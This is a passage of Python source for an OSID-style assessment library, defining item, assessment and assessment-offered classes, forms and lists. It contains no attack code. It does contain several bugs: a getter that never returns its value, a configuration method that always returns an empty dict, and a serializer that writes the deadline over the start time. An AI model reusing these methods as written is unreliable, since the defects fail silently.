property(fget=get_next_answer) @utilities.arguments_not_none def get_next_answers(self, n): """Gets the next set of ``Answer`` elements in this list which must be less than or equal to the number returned from ``available()``. arg: n (cardinal): the number of ``Answer`` elements requested which should be less than or equal to ``available()`` return: (osid.assessment.Answer) - an array of ``Answer`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n) class Item(abc_assessment_objects.Item, osid_objects.OsidObject, osid_markers.Aggregateable): """An ``Item`` represents an individual assessment item such as a question. Like all OSID objects, a ``Item`` is identified by its ``Id`` and any persisted references should use the ``Id``. An ``Item`` is composed of a ``Question`` and an ``Answer``. """ _record_type_data_sets = {} _namespace = 'assessment.Item' def __init__(self, osid_object_map, runtime=None): osid_objects.OsidObject.__init__(self, osid_object_map, runtime) self._record_type_data_sets = self._get_registry('ITEM_RECORD_TYPES') self._records = dict() self._load_records(osid_object_map['recordTypeIds']) self._catalog_name = 'bank' def get_learning_objective_ids(self): """Gets the ``Ids`` of any ``Objectives`` corresponding to this item. return: (osid.id.IdList) - the learning objective ``Ids`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.Activity.get_asset_ids_template return IdList(self._my_map['learningObjectiveIds']) learning_objective_ids = property(fget=get_learning_objective_ids) def get_learning_objectives(self): """Gets the any ``Objectives`` corresponding to this item. return: (osid.learning.ObjectiveList) - the learning objectives raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.Activity.get_assets_template try: mgr = self._get_provider_manager('LEARNING') except ImportError: raise errors.OperationFailed('failed to instantiate LearningManager') if not mgr.supports_objective_lookup(): raise errors.OperationFailed('Learning does not support Objective lookup') lookup_session = mgr.get_objective_lookup_session() lookup_session.use_federated_objective_bank_view() return lookup_session.get_objectives_by_ids(self.get_learning_objective_ids()) learning_objectives = property(fget=get_learning_objectives) def get_question_id(self): """Gets the ``Id`` of the ``Question``. return: (osid.id.Id) - the question ``Id`` *compliance: mandatory -- This method must be implemented.* """ self.get_question().get_id() question_id = property(fget=get_question_id) def get_question(self): """Gets the question. return: (osid.assessment.Question) - the question raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ return Question(self._my_map['question'], runtime=self._runtime) question = property(fget=get_question) def get_answer_ids(self): """Gets the ``Ids`` of the answers. Questions may have more than one acceptable answer. return: (osid.id.IdList) - the answer ``Ids`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.repository.Asset.get_asset_content_ids_template id_list = [] for answer in self.get_answers(): id_list.append(answer.get_id()) return AnswerList(id_list) answer_ids = property(fget=get_answer_ids) def get_answers(self): """Gets the answers. return: (osid.assessment.AnswerList) - the answers raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.repository.Asset.get_asset_contents_template return AnswerList(self._my_map['answers'], runtime=self._runtime) def _delete(self): for answer in self.get_answers(): answer._delete() osid_objects.OsidObject._delete(self) answers = property(fget=get_answers) @utilities.arguments_not_none def get_item_record(self, item_record_type): """Gets the item record corresponding to the given ``Item`` record ``Type``. This method is used to retrieve an object implementing the requested records. The ``item_record_type`` may be the ``Type`` returned in ``get_record_types()`` or any of its parents in a ``Type`` hierarchy where ``has_record_type(item_record_type)`` is ``true`` . arg: item_record_type (osid.type.Type): the type of the record to retrieve return: (osid.assessment.records.ItemRecord) - the item record raise: NullArgument - ``item_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(item_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(item_record_type) def get_configuration(self): config = dict() try: dict.update(self.get_question().get_configuration()) except AttributeError: pass for record in self._records: try: dict.update(record.get_configuration()) except AttributeError: pass return config # SHould this method build a real OSID configuration instead? def get_object_map(self): obj_map = dict(self._my_map) if obj_map['question']: obj_map['question'] = self.get_question().get_object_map() obj_map['answers'] = [] for answer in self.get_answers(): obj_map['answers'].append(answer.get_object_map()) return osid_objects.OsidObject.get_object_map(self, obj_map) object_map = property(fget=get_object_map) def _delete(self): try: self.get_question()._delete() except: pass finally: for answer in self.get_answers(): answer._delete() osid_objects.OsidObject._delete(self) class ItemForm(abc_assessment_objects.ItemForm, osid_objects.OsidObjectForm, osid_objects.OsidAggregateableForm): """This is the form for creating and updating ``Items``. Like all ``OsidForm`` objects, various data elements may be set here for use in the create and update methods in the ``ItemAdminSession``. For each data element that may be set, metadata may be examined to provide display hints or data constraints. """ _record_type_data_sets = {} _namespace = 'assessment.Item' def __init__(self, osid_object_map=None, record_types=None, runtime=None, **kwargs): osid_objects.OsidForm.__init__(self, runtime=runtime) self._record_type_data_sets = self._get_registry('ITEM_RECORD_TYPES') self._kwargs = kwargs if 'catalog_id' in kwargs: self._catalog_id = kwargs['catalog_id'] self._init_metadata(**kwargs) self._records = dict() self._supported_record_type_ids = [] if osid_object_map is not None: self._for_update = True self._my_map = osid_object_map self._load_records(osid_object_map['recordTypeIds']) else: self._my_map = {} self._for_update = False self._init_map(**kwargs) if record_types is not None: self._init_records(record_types) self._supported_record_type_ids = self._my_map['recordTypeIds'] def _init_metadata(self, **kwargs): osid_objects.OsidObjectForm._init_metadata(self, **kwargs) self._learning_objectives_metadata = { 'element_id': Id( self._authority, self._namespace, 'learning_objectives')} self._learning_objectives_metadata.update(mdata_conf.ITEM_LEARNING_OBJECTIVES) self._learning_objectives_default = self._learning_objectives_metadata['default_id_values'] def _init_map(self, **kwargs): osid_objects.OsidObjectForm._init_map(self) self._my_map['learningObjectiveIds'] = self._learning_objectives_default self._my_map['assignedBankIds'] = [str(kwargs['bank_id'])] self._my_map['question'] = None self._my_map['answers'] = [] def get_learning_objectives_metadata(self): """Gets the metadata for learning objectives. return: (osid.Metadata) - metadata for the learning objectives *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.ActivityForm.get_assets_metadata_template metadata = dict(self._learning_objectives_metadata) metadata.update({'existing_learning_objectives_values': self._my_map['learningObjectiveIds']}) return Metadata(**metadata) learning_objectives_metadata = property(fget=get_learning_objectives_metadata) @utilities.arguments_not_none def set_learning_objectives(self, objective_ids): """Sets the learning objectives. arg: objective_ids (osid.id.Id[]): the learning objective ``Ids`` raise: InvalidArgument - ``objective_ids`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.ActivityForm.set_assets_template if not isinstance(objective_ids, list): raise errors.InvalidArgument() if self.get_learning_objectives_metadata().is_read_only(): raise errors.NoAccess() idstr_list = [] for object_id in objective_ids: if not self._is_valid_id(object_id): raise errors.InvalidArgument() idstr_list.append(str(object_id)) self._my_map['learningObjectiveIds'] = idstr_list def clear_learning_objectives(self): """Clears the learning objectives. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.ActivityForm.clear_assets_template if (self.get_learning_objectives_metadata().is_read_only() or self.get_learning_objectives_metadata().is_required()): raise errors.NoAccess() self._my_map['learningObjectiveIds'] = self._learning_objectives_default learning_objectives = property(fset=set_learning_objectives, fdel=clear_learning_objectives) @utilities.arguments_not_none def get_item_form_record(self, item_record_type): """Gets the ``ItemnFormRecord`` corresponding to the given item record ``Type``. arg: item_record_type (osid.type.Type): the item record type return: (osid.assessment.records.ItemFormRecord) - the item record raise: NullArgument - ``item_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(item_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(item_record_type) class ItemList(abc_assessment_objects.ItemList, osid_objects.OsidList): """Like all ``OsidLists,`` ``ItemList`` provides a means for accessing ``Item`` elements sequentially either one at a time or many at a time. Examples: while (il.hasNext()) { Item item = il.getNextItem(); } or while (il.hasNext()) { Item[] items = il.getNextItems(il.available()); } """ def get_next_item(self): """Gets the next ``Item`` in this list. return: (osid.assessment.Item) - the next ``Item`` in this list. The ``has_next()`` method should be used to test that a next ``Item`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(Item) next_item = property(fget=get_next_item) @utilities.arguments_not_none def get_next_items(self, n): """Gets the next set of ``Item`` elements in this list which must be less than or equal to the number returned from ``available()``. arg: n (cardinal): the number of ``Item`` elements requested which should be less than or equal to ``available()`` return: (osid.assessment.Item) - an array of ``Item`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n) class Assessment(abc_assessment_objects.Assessment, osid_objects.OsidObject): """An ``Assessment`` represents a sequence of assessment items. Like all OSID objects, an ``Assessment`` is identified by its ``Id`` and any persisted references should use the ``Id``. An ``Assessment`` may have an accompanying rubric used for assessing performance. The rubric assessment is established canonically in this ``Assessment``. """ _record_type_data_sets = {} _namespace = 'assessment.Assessment' def __init__(self, osid_object_map, runtime=None): osid_objects.OsidObject.__init__(self, osid_object_map, runtime) self._record_type_data_sets = self._get_registry('ASSESSMENT_RECORD_TYPES') self._records = dict() self._load_records(osid_object_map['recordTypeIds']) self._catalog_name = 'bank' def get_level_id(self): """Gets the ``Id`` of a ``Grade`` corresponding to the assessment difficulty. return: (osid.id.Id) - a grade ``Id`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_id_template if not self._my_map['levelId']: raise errors.IllegalState('this Assessment has no level') else: return Id(self._my_map['levelId']) level_id = property(fget=get_level_id) def get_level(self): """Gets the ``Grade`` corresponding to the assessment difficulty. return: (osid.grading.Grade) - the level raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['levelId']: raise errors.IllegalState('this Assessment has no level') mgr = self._get_provider_manager('GRADING') if not mgr.supports_grade_lookup(): raise errors.OperationFailed('Grading does not support Grade lookup') lookup_session = mgr.get_grade_lookup_session() lookup_session.use_federated_gradebook_view() osid_object = lookup_session.get_grade(self.get_level_id()) return osid_object level = property(fget=get_level) def has_rubric(self): """Tests if a rubric assessment is associated with this assessment. return: (boolean) - ``true`` if a rubric is available, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.has_avatar_template return bool(self._my_map['rubricId']) def get_rubric_id(self): """Gets the ``Id`` of the rubric. return: (osid.id.Id) - an assessment ``Id`` raise: IllegalState - ``has_rubric()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_id_template if not self._my_map['rubricId']: raise errors.IllegalState('this Assessment has no rubric') else: return Id(self._my_map['rubricId']) rubric_id = property(fget=get_rubric_id) def get_rubric(self): """Gets the rubric. return: (osid.assessment.Assessment) - the assessment raise: IllegalState - ``has_rubric()`` is ``false`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['rubricId']: raise errors.IllegalState('this Assessment has no rubric') mgr = self._get_provider_manager('ASSESSMENT') if not mgr.supports_assessment_lookup(): raise errors.OperationFailed('Assessment does not support Assessment lookup') lookup_session = mgr.get_assessment_lookup_session() lookup_session.use_federated_bank_view() osid_object = lookup_session.get_assessment(self.get_rubric_id()) return osid_object rubric = property(fget=get_rubric) @utilities.arguments_not_none def get_assessment_record(self, assessment_record_type): """Gets the assessment record corresponding to the given ``Assessment`` record ``Type``. This method is used to retrieve an object implementing the requested record. The ``assessment_record_type`` may be the ``Type`` returned in ``get_record_types()`` or any of its parents in a ``Type`` hierarchy where ``has_record_type(assessment_record_type)`` is ``true`` . arg: assessment_record_type (osid.type.Type): the type of the record to retrieve return: (osid.assessment.records.AssessmentRecord) - the assessment record raise: NullArgument - ``assessment_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(assessment_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(assessment_record_type) def get_object_map(self): obj_map = dict(self._my_map) if 'itemIds' in obj_map: del obj_map['itemIds'] return osid_objects.OsidObject.get_object_map(self, obj_map) object_map = property(fget=get_object_map) class AssessmentForm(abc_assessment_objects.AssessmentForm, osid_objects.OsidObjectForm): """This is the form for creating and updating ``Assessments``. Like all ``OsidForm`` objects, various data elements may be set here for use in the create and update methods in the ``AssessmentAdminSession``. For each data element that may be set, metadata may be examined to provide display hints or data constraints. """ _record_type_data_sets = {} _namespace = 'assessment.Assessment' def __init__(self, osid_object_map=None, record_types=None, runtime=None, **kwargs): osid_objects.OsidForm.__init__(self, runtime=runtime) self._record_type_data_sets = self._get_registry('ASSESSMENT_RECORD_TYPES') self._kwargs = kwargs if 'catalog_id' in kwargs: self._catalog_id = kwargs['catalog_id'] self._init_metadata(**kwargs) self._records = dict() self._supported_record_type_ids = [] if osid_object_map is not None: self._for_update = True self._my_map = osid_object_map self._load_records(osid_object_map['recordTypeIds']) else: self._my_map = {} self._for_update = False self._init_map(**kwargs) if record_types is not None: self._init_records(record_types) self._supported_record_type_ids = self._my_map['recordTypeIds'] def _init_metadata(self, **kwargs): osid_objects.OsidObjectForm._init_metadata(self, **kwargs) self._rubric_metadata = { 'element_id': Id( self._authority, self._namespace, 'rubric')} self._rubric_metadata.update(mdata_conf.ASSESSMENT_RUBRIC) self._level_metadata = { 'element_id': Id( self._authority, self._namespace, 'level')} self._level_metadata.update(mdata_conf.ASSESSMENT_LEVEL) self._rubric_default = self._rubric_metadata['default_id_values'][0] self._level_default = self._level_metadata['default_id_values'][0] def _init_map(self, **kwargs): osid_objects.OsidObjectForm._init_map(self) self._my_map['rubricId'] = self._rubric_default self._my_map['assignedBankIds'] = [str(kwargs['bank_id'])] self._my_map['levelId'] = self._level_default def get_level_metadata(self): """Gets the metadata for a grade level. return: (osid.Metadata) - metadata for the grade level *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._level_metadata) metadata.update({'existing_level_values': self._my_map['levelId']}) return Metadata(**metadata) level_metadata = property(fget=get_level_metadata) @utilities.arguments_not_none def set_level(self, grade_id): """Sets the level of difficulty expressed as a ``Grade``. arg: grade_id (osid.id.Id): the grade level raise: InvalidArgument - ``grade_id`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` raise: NullArgument - ``grade_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.set_avatar_template if self.get_level_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_id(grade_id): raise errors.InvalidArgument() self._my_map['levelId'] = str(grade_id) def clear_level(self): """Clears the grade level. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.clear_avatar_template if (self.get_level_metadata().is_read_only() or self.get_level_metadata().is_required()): raise errors.NoAccess() self._my_map['levelId'] = self._level_default level = property(fset=set_level, fdel=clear_level) def get_rubric_metadata(self): """Gets the metadata for a rubric assessment. return: (osid.Metadata) - metadata for the assesment *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._rubric_metadata) metadata.update({'existing_rubric_values': self._my_map['rubricId']}) return Metadata(**metadata) rubric_metadata = property(fget=get_rubric_metadata) @utilities.arguments_not_none def set_rubric(self, assessment_id): """Sets the rubric expressed as another assessment. arg: assessment_id (osid.id.Id): the assessment ``Id`` raise: InvalidArgument - ``assessment_id`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` raise: NullArgument - ``assessment_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.set_avatar_template if self.get_rubric_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_id(assessment_id): raise errors.InvalidArgument() self._my_map['rubricId'] = str(assessment_id) def clear_rubric(self): """Clears the rubric. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.clear_avatar_template if (self.get_rubric_metadata().is_read_only() or self.get_rubric_metadata().is_required()): raise errors.NoAccess() self._my_map['rubricId'] = self._rubric_default rubric = property(fset=set_rubric, fdel=clear_rubric) @utilities.arguments_not_none def get_assessment_form_record(self, assessment_record_type): """Gets the ``AssessmentFormRecord`` corresponding to the given assessment record ``Type``. arg: assessment_record_type (osid.type.Type): the assessment record type return: (osid.assessment.records.AssessmentFormRecord) - the assessment record raise: NullArgument - ``assessment_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(assessment_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(assessment_record_type) class AssessmentList(abc_assessment_objects.AssessmentList, osid_objects.OsidList): """Like all ``OsidLists,`` ``AssessmentList`` provides a means for accessing ``Assessment`` elements sequentially either one at a time or many at a time. Examples: while (al.hasNext()) { Assessment assessment = al.getNextAssessment(); } or while (al.hasNext()) { Assessment[] assessments = al.hetNextAssessments(al.available()); } """ def get_next_assessment(self): """Gets the next ``Assessment`` in this list. return: (osid.assessment.Assessment) - the next ``Assessment`` in this list. The ``has_next()`` method should be used to test that a next ``Assessment`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(Assessment) next_assessment = property(fget=get_next_assessment) @utilities.arguments_not_none def get_next_assessments(self, n): """Gets the next set of ``Assessment`` elements in this list which must be less than or equal to the number returned from ``available()``. arg: n (cardinal): the number of ``Assessment`` elements requested which should be less than or equal to ``available()`` return: (osid.assessment.Assessment) - an array of ``Assessment`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n) class AssessmentOffered(abc_assessment_objects.AssessmentOffered, osid_objects.OsidObject, osid_markers.Subjugateable): """An ``AssessmentOffered`` represents a sequence of assessment items. Like all OSID objects, an ``AssessmentOffered`` is identified by its ``Id`` and any persisted references should use the ``Id``. """ _record_type_data_sets = {} _namespace = 'assessment.AssessmentOffered' def __init__(self, osid_object_map, runtime=None): osid_objects.OsidObject.__init__(self, osid_object_map, runtime) self._record_type_data_sets = self._get_registry('ASSESSMENT_OFFERED_RECORD_TYPES') self._records = dict() self._load_records(osid_object_map['recordTypeIds']) self._catalog_name = 'bank' def get_assessment_id(self): """Gets the assessment ``Id`` corresponding to this assessment offering. return: (osid.id.Id) - the assessment id *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.Activity.get_objective_id return Id(self._my_map['assessmentId']) assessment_id = property(fget=get_assessment_id) def get_assessment(self): """Gets the assessment corresponding to this assessment offereng. return: (osid.assessment.Assessment) - the assessment raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.Activity.get_objective mgr = self._get_provider_manager('ASSESSMENT') if not mgr.supports_assessment_lookup(): raise errors.OperationFailed('Assessment does not support Assessment lookup') lookup_session = mgr.get_assessment_lookup_session() lookup_session.use_federated_bank_view() return lookup_session.get_assessment(self.get_assessment_id()) assessment = property(fget=get_assessment) def get_level_id(self): """Gets the ``Id`` of a ``Grade`` corresponding to the assessment difficulty. return: (osid.id.Id) - a grade id *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_id_template if not self._my_map['levelId']: raise errors.IllegalState('this AssessmentOffered has no level') else: return Id(self._my_map['levelId']) level_id = property(fget=get_level_id) def get_level(self): """Gets the ``Grade`` corresponding to the assessment difficulty. return: (osid.grading.Grade) - the level raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['levelId']: raise errors.IllegalState('this AssessmentOffered has no level') mgr = self._get_provider_manager('GRADING') if not mgr.supports_grade_lookup(): raise errors.OperationFailed('Grading does not support Grade lookup') lookup_session = mgr.get_grade_lookup_session() lookup_session.use_federated_gradebook_view() osid_object = lookup_session.get_grade(self.get_level_id()) return osid_object level = property(fget=get_level) def are_items_sequential(self): """Tests if the items or parts in this assessment are taken sequentially. return: (boolean) - ``true`` if the items are taken sequentially, ``false`` if the items can be skipped and revisited *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.is_group_template return self._my_map['itemsSequential'] def are_items_shuffled(self): """Tests if the items or parts appear in a random order. return: (boolean) - ``true`` if the items appear in a random order, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.is_group_template return self._my_map['itemsShuffled'] def has_start_time(self): """Tests if there is a fixed start time for this assessment. return: (boolean) - ``true`` if there is a fixed start time, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.repository.AssetContent.has_url_template try: return bool(self._my_map['startTime']) except KeyError: return False def get_start_time(self): """Gets the start time for this assessment. return: (osid.calendaring.DateTime) - the designated start time raise: IllegalState - ``has_start_time()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.assessment.AssessmentOffered.get_start_time_template if not bool(self._my_map['startTime']): raise errors.IllegalState() dt = self._my_map['startTime'] return DateTime(dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond) start_time = property(fget=get_start_time) def has_deadline(self): """Tests if there is a fixed end time for this assessment. return: (boolean) - ``true`` if there is a fixed end time, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.repository.AssetContent.has_url_template try: return bool(self._my_map['deadline']) except KeyError: return False def get_deadline(self): """Gets the end time for this assessment. return: (osid.calendaring.DateTime) - the designated end time raise: IllegalState - ``has_deadline()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.assessment.AssessmentOffered.get_start_time_template if not bool(self._my_map['deadline']): raise errors.IllegalState() dt = self._my_map['deadline'] return DateTime(dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond) deadline = property(fget=get_deadline) def has_duration(self): """Tests if there is a fixed duration for this assessment. return: (boolean) - ``true`` if there is a fixed duration, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.repository.AssetContent.has_url_template try: return bool(self._my_map['duration']) except KeyError: return False def get_duration(self): """Gets the duration for this assessment. return: (osid.calendaring.Duration) - the duration raise: IllegalState - ``has_duration()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.assessment.AssessmentOffered.get_duration_template if not bool(self._my_map['duration']): raise errors.IllegalState() return Duration(**self._my_map['duration']) duration = property(fget=get_duration) def is_scored(self): """Tests if this assessment will be scored. return: (boolean) - ``true`` if this assessment will be scored ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.is_group_template return self._my_map['scored'] def get_score_system_id(self): """Gets the grade system ``Id`` for the score. return: (osid.id.Id) - the grade system ``Id`` raise: IllegalState - ``is_scored()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_id_template if not self._my_map['scoreSystemId']: raise errors.IllegalState('this AssessmentOffered has no score_system') else: return Id(self._my_map['scoreSystemId']) score_system_id = property(fget=get_score_system_id) def get_score_system(self): """Gets the grade system for the score. return: (osid.grading.GradeSystem) - the grade system raise: IllegalState - ``is_scored()`` is ``false`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['scoreSystemId']: raise errors.IllegalState('this AssessmentOffered has no score_system') mgr = self._get_provider_manager('GRADING') if not mgr.supports_grade_system_lookup(): raise errors.OperationFailed('Grading does not support GradeSystem lookup') lookup_session = mgr.get_grade_system_lookup_session() lookup_session.use_federated_gradebook_view() osid_object = lookup_session.get_grade_system(self.get_score_system_id()) return osid_object score_system = property(fget=get_score_system) def is_graded(self): """Tests if this assessment will be graded. return: (boolean) - ``true`` if this assessment will be graded, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.is_group_template return self._my_map['graded'] def get_grade_system_id(self): """Gets the grade system ``Id`` for the grade. return: (osid.id.Id) - the grade system ``Id`` raise: IllegalState - ``is_graded()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_id_template if not self._my_map['gradeSystemId']: raise errors.IllegalState('this AssessmentOffered has no grade_system') else: return Id(self._my_map['gradeSystemId']) grade_system_id = property(fget=get_grade_system_id) def get_grade_system(self): """Gets the grade system for the grade. return: (osid.grading.GradeSystem) - the grade system raise: IllegalState - ``is_graded()`` is ``false`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['gradeSystemId']: raise errors.IllegalState('this AssessmentOffered has no grade_system') mgr = self._get_provider_manager('GRADING') if not mgr.supports_grade_system_lookup(): raise errors.OperationFailed('Grading does not support GradeSystem lookup') lookup_session = mgr.get_grade_system_lookup_session() lookup_session.use_federated_gradebook_view() osid_object = lookup_session.get_grade_system(self.get_grade_system_id()) return osid_object grade_system = property(fget=get_grade_system) def has_rubric(self): """Tests if a rubric assessment is associated with this assessment. return: (boolean) - ``true`` if a rubric is available, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.has_avatar_template return bool(self._my_map['rubricId']) def get_rubric_id(self): """Gets the ``Id`` of the rubric. return: (osid.id.Id) - an assessment offered ``Id`` raise: IllegalState - ``has_rubric()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_id_template if not self._my_map['rubricId']: raise errors.IllegalState('this AssessmentOffered has no rubric') else: return Id(self._my_map['rubricId']) rubric_id = property(fget=get_rubric_id) def get_rubric(self): """Gets the rubric. return: (osid.assessment.AssessmentOffered) - the assessment offered raise: IllegalState - ``has_rubric()`` is ``false`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['rubricId']: raise errors.IllegalState('this AssessmentOffered has no rubric') mgr = self._get_provider_manager('ASSESSMENT') if not mgr.supports_assessment_offered_lookup(): raise errors.OperationFailed('Assessment does not support AssessmentOffered lookup') lookup_session = mgr.get_assessment_offered_lookup_session() lookup_session.use_federated_bank_view() osid_object = lookup_session.get_assessment_offered(self.get_rubric_id()) return osid_object rubric = property(fget=get_rubric) @utilities.arguments_not_none def get_assessment_offered_record(self, assessment_taken_record_type): """Gets the assessment offered record corresponding to the given ``AssessmentOffered`` record ``Type``. This method is used to retrieve an object implementing the requested record. The ``assessment_offered_record_type`` may be the ``Type`` returned in ``get_record_types()`` or any of its parents in a ``Type`` hierarchy where ``has_record_type(assessment_offered_record_type)`` is ``true`` . arg: assessment_taken_record_type (osid.type.Type): an assessment offered record type return: (osid.assessment.records.AssessmentOfferedRecord) - the assessment offered record raise: NullArgument - ``assessment_offered_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(assessment_offered_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(assessment_taken_record_type) def get_display_name(self): # Overrides osid.objects.OsidObject.get_display_name to default to Assessment's # display_name if none has been authored for this AssessmentOffered from ..osid.objects import OsidObject if osid_objects.OsidObject.get_display_name(self).get_text(): return osid_objects.OsidObject.get_display_name(self) else: return self.get_assessment().get_display_name() def get_description(self): # Overrides osid.objects.OsidObject.get_description to default to Assessment's # description if none has been authored for this AssessmentOffered from ..osid.objects import OsidObject if osid_objects.OsidObject.get_description(self).get_text(): return osid_objects.OsidObject.get_description(self) else: return self.get_assessment().get_description() def get_object_map(self): obj_map = dict(self._my_map) if obj_map['startTime'] is not None: start_time = obj_map['startTime'] obj_map['startTime'] = dict() obj_map['startTime']['year'] = start_time.year obj_map['startTime']['month'] = start_time.month obj_map['startTime']['day'] = start_time.day obj_map['startTime']['hour'] = start_time.hour obj_map['startTime']['minute'] = start_time.minute obj_map['startTime']['second'] = start_time.second obj_map['startTime']['microsecond'] = start_time.microsecond if obj_map['deadline'] is not None: deadline = obj_map['deadline'] obj_map['startTime'] = dict() obj_map['startTime']['year'] = deadline.year obj_map['startTime']['month'] = deadline.month obj_map['startTime']['day'] = deadline.day obj_map['startTime']['hour'] = deadline.hour obj_map['startTime']['minute'] = deadline.minute obj_map['startTime']['second'] = deadline.second obj_map['startTime']['microsecond'] = deadline.microsecond obj_map = osid_objects.OsidObject.get_object_map(self, obj_map) if obj_map['displayName']['text'] == '': obj_map['displayName']['text'] = self.get_display_name().get_text() if obj_map['description']['text'] == '': obj_map['description']['text'] = self.get_description().get_text() return obj_map object_map = property(fget=get_object_map) class AssessmentOfferedForm(abc_assessment_objects.AssessmentOfferedForm, osid_objects.OsidObjectForm, osid_objects.OsidSubjugateableForm): """This is the form for creating and updating an ``AssessmentOffered``. Like all ``OsidForm`` objects, various data elements may be set here for use in the create and update methods in the ``AssessmentOfferedAdminSession``. For each data element that may be set, metadata may be examined to provide display hints or data 